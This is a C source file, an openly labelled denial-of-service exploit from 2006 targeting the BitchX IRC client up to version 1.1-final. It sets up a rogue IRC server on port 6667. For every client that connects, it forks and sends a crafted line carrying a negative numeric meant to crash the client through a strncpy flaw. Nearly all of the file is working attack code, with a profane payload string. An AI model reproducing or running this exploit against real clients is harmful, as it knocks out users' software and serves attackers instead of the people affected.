/*
 * PUBLIC since 20/07/06 :p
 *
 ** PRIVATE ****** PRIVATE ******* PRIVATE ******* PRIVATE *
 *                                                         *
 * BitchX =< 1.1-final DoS (SIGSEGV)                       *
 * [strncpy() approach]                                    *
 * by nitr0us <nitrousenador[@]gmail[.]com]>               *
 *                                                         *
 ** PRIVATE ****** PRIVATE ******* PRIVATE ******* PRIVATE *
 *
 * Special Tnx to Federico L. Bossi (pelotudo de m!3%d@)
 *
 * Read http://www.genexx.org/nitrous/papers/biatch-x.log for details.
 *
 * Mexico @ 22/06/06
 *
 */

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<signal.h>
#include<unistd.h>
#include<sys/types.h> 
#include<sys/socket.h>
#include<netinet/in.h>

#define PORT	6667
#define INTEGER	-157

#define error(msg)	do{\
	perror(msg);\
	exit(0xdead);\
} while(0)

void DoS(int);

int main(int argc, char *argv[])
{
	struct sockaddr_in	me, client;
	unsigned short		port = PORT;
	int			sock, clientfd, tmp = 1;

	if(argc == 2)
		port = atoi(argv[1]);

	if((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
		error("socket");

	if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &tmp, sizeof(int)) == -1 )
		error("setsockopt");

	bzero((char *)&me, sizeof(me));
	me.sin_family		= AF_INET;
	me.sin_port		= htons(port);
	me.sin_addr.s_addr	= INADDR_ANY;

	if(bind(sock, (struct sockaddr *)&me, sizeof(struct sockaddr)) == -1)
		error("bind");

	if(listen(sock, 5) == -1)
		error("listen");

	printf("###################################################\n");
	printf("###          BitchX =< 1.1-final DoS            ###\n");
	printf("###           [ strncpy() approach]             ###\n");
	printf("###------=] PRIVATE - PRIVATE - PRIVATE - [=-----##\n");
	printf("###### nitr0us <nitrousenador[@]gmail[.]com> ######\n\n");

	signal(SIGCHLD, SIG_IGN);

	socklen_t	foo = sizeof(struct sockaddr);

	for(;;){
		if((clientfd = accept(sock, (struct sockaddr *)&client, &foo)) == -1)
			error("accept");

		switch(fork()){
			case -1:
				error("fork");
			case 0:
				close(sock);
				printf("Client @ %s\n", inet_ntoa(client.sin_addr));
				DoS(clientfd);
				exit(0);
			default:
				close(clientfd);
		}
	}
}

void DoS(int fd)
{
	char	evil[32];
	bzero(evil, 32);

	sprintf(evil,":NITROUS %d FUCK YOU\n", INTEGER);

	printf("Sent %d bytes\n\n", write(fd, evil, strlen(evil)));
}

